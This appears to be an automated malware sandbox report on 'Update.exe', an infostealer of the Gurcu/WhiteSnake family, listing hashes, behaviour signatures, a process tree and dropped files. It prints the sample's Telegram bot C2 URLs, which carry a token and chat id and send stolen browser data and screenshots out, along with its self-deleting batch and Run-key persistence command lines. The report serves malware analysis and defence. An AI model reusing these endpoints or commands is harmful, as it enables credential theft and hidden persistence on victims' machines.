Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/08/2024, 13:53

General

  • Target
    Update.exe
  • Size 5.6MB
  • Sample240815-q667wsvdpd
  • SHA256 d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • gurcu

C2
  • https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

  • https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777

  • https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-

  • https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Update.exe
    "C:\Users\Admin\AppData\Local\Temp\Update.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2792
      • C:\Windows\system32\tasklist.exe
        Tasklist /fi "PID eq 2680"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4508
      • C:\Windows\system32\find.exe
        find ":"
        3⤵
          PID:2104
        • C:\Windows\system32\timeout.exe
          Timeout /T 1 /Nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:3736
        • C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe
          "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1168
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4976
            • C:\Windows\system32\reg.exe
              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
              5⤵
              • Adds Run key to start application
              • Modifies registry key
              PID:4076
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4608,i,3210801877307184477,8078594481454001567,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:8
      1⤵
        PID:1656

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            Update.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log
            • Size 1KB
            • SHA256 84c010466cd6465eec0ac04f1aa37652cf4ed3532e7981ac0fb59df855d7cc4c
            • MD5 SHA1 SHA512

            sqlite.interop.dll

            • Path C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll
            • Size 1.7MB
            • SHA256 aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
            • MD5 SHA1 SHA512 SSDEEP

            tmp5B98.tmp.bat

            • Path C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat
            • Size 280B
            • SHA256 938ae09a5a999f2db5b680d294f9c96c523ace97fb24de83b6dc2f9d50b7f644
            • MD5 SHA1 SHA512

            Update.exe

            • Path C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe
            • Size 5.6MB
            • SHA256 d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e
            • MD5 SHA1 SHA512 SSDEEP

            memory/1168-23-0x000001A6DB4B0000-0x000001A6DB562000-memory.dmp

            memory/1168-25-0x000001A6DB600000-0x000001A6DB622000-memory.dmp

            memory/1168-46-0x000001A6DB690000-0x000001A6DB6A2000-memory.dmp

            memory/1168-28-0x000001A6DB560000-0x000001A6DB586000-memory.dmp

            memory/1168-27-0x000001A6DB630000-0x000001A6DB66A000-memory.dmp

            memory/1168-24-0x000001A6DB5B0000-0x000001A6DB600000-memory.dmp

            memory/1168-20-0x000001A6DB1C0000-0x000001A6DB1CA000-memory.dmp

            memory/1168-21-0x000001A6DB440000-0x000001A6DB4AA000-memory.dmp

            memory/2680-0-0x00007FFDE9423000-0x00007FFDE9425000-memory.dmp

            memory/2680-1-0x0000013D55790000-0x0000013D55D30000-memory.dmp

            memory/2680-8-0x0000013D57A50000-0x0000013D57A6E000-memory.dmp

            memory/2680-6-0x0000013D57AD0000-0x0000013D57B46000-memory.dmp

            memory/2680-7-0x00007FFDE9420000-0x00007FFDE9EE1000-memory.dmp

            memory/2680-12-0x00007FFDE9420000-0x00007FFDE9EE1000-memory.dmp